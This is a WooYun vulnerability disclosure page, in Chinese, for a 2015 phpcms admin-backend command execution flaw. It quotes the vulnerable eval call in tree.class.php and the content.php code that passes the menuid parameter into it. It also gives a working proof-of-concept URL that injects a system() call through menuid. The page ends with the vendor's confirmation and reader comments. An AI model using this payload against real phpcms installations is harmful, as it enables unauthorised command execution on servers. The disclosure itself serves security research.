当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(20) 关注此漏洞

缺陷编号: WooYun-2015-153630

漏洞标题: phpcms后台低权限任意命令执行

相关厂商: phpcms

漏洞作者: 一天到晚吃

提交时间: 2015-11-20 18:16

公开时间: 2015-12-17 14:48

漏洞类型: 命令执行

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-20: 细节已通知厂商并且等待厂商处理中
2015-11-23: 厂商已经确认,细节仅向厂商公开
2015-11-26: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-01-17: 细节向核心白帽子及相关领域专家公开
2016-01-27: 细节向普通白帽子公开
2016-02-06: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

11.10日下载的gbk版本存在命令执行问题。

详细说明:

tree.class.php中get_treeview函数调用了eval,刚好eval的参数受控

code 区域
function get_treeview($myid,$effected_id='example',$str="<span class='file'>\$name</span>", $str2="<span class='folder'>\$name</span>" ,$showlevel = 0 ,$style='filetree ' , $currentlevel = 1,$recursion=FALSE) {
echo "str ".$str."<br>"."str2 ".$str2;
$child = $this->get_child($myid);
if(!defined('EFFECTED_INIT')){
$effected = ' id="'.$effected_id.'"';
define('EFFECTED_INIT', 1);
} else {
$effected = '';
}
$placeholder = '<ul><li><span class="placeholder"></span></li></ul>';
if(!$recursion) $this->str .='<ul'.$effected.' class="'.$style.'">';
foreach($child as $id=>$a) {

@extract($a);
if($showlevel > 0 && $showlevel == $currentlevel && $this->get_child($id)) $folder = 'hasChildren'; //如设置显示层级模式@2011.07.01
$floder_status = isset($folder) ? ' class="'.$folder.'"' : '';
$this->str .= $recursion ? '<ul><li'.$floder_status.' id=\''.$id.'\'>' : '<li'.$floder_status.' id=\''.$id.'\'>';
$recursion = FALSE;
if($this->get_child($id)){
eval("\$nstr = \"$str2\";");//str2参数受控制
...



content.php中调用了get_treeview函数

code 区域
if(!empty($categorys)) {
$tree->init($categorys);
switch($from) {
case 'block':
$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=list' target='right'>\$catname</a> \$vs_show</span>";
$strs2 = "<img src='".IMG_PATH."folder.gif'> <a href='?m=block&c=block_admin&a=public_visualization&menuid=".$_GET['menuid']."&catid=\$catid&type=category' target='right'>\$catname</a>";
break;

default:
$strs = "<span class='\$icon_type'>\$add_icon<a href='?m=content&c=content&a=\$type&menuid=".$_GET['menuid']."&catid=\$catid' target='right' onclick='open_list(this)'>\$catname</a></span>";//我们的menuid参数拼接后,进入到get_treeview函数中
$strs2 = "<span class='folder'>\$catname</span>";
break;
}
$categorys = $tree->get_treeview(0,'category_tree',$strs,$strs2,$ajax_show);
} else {
$categorys = L('please_add_category');
}
include $this->admin_tpl('category_tree');
exit;



利用$_GET['menuid']构造,造成命令执行

漏洞证明:

POC:

index.php?0=whoami&m=content&c=content&a=public_categorys&type=add&menuid=822;${system($_GET[0])}&pc_hash=vad6K3&from=block

执行whoami命令

1.png



2.png

修复方案:

我就看看忽略不

版权声明:转载请注明来源 一天到晚吃@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-11-23 15:54

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2016-01-11 22:07 | imp0rt ( 普通白帽子 | Rank:117 漏洞数:54 | 。)
    0

    666666666

  2. 2016-01-12 19:16 | 一天到晚吃 ( 实习白帽子 | Rank:69 漏洞数:27 | 好好看,好好学test1xx)
    0

    @imp0rt 水一个洞~~

  3. 2016-03-19 12:16 | Yuku ( 实习白帽子 | Rank:54 漏洞数:26 | 数据挖掘)
    1

    提示PHP Parse error: 是什么原因导致的呢,。。

  4. 2016-03-20 16:47 | 一天到晚吃 ( 实习白帽子 | Rank:69 漏洞数:27 | 好好看,好好学test1xx)
    1

    @Yuku 以前搞站也碰到过一次PHP Parse error,改了改menuid参数的内容就正常执行了,没去分析什么原因。 你的PHPCMS是哪个版本?能发我测试下不?

登录后才能发表评论,请先 登录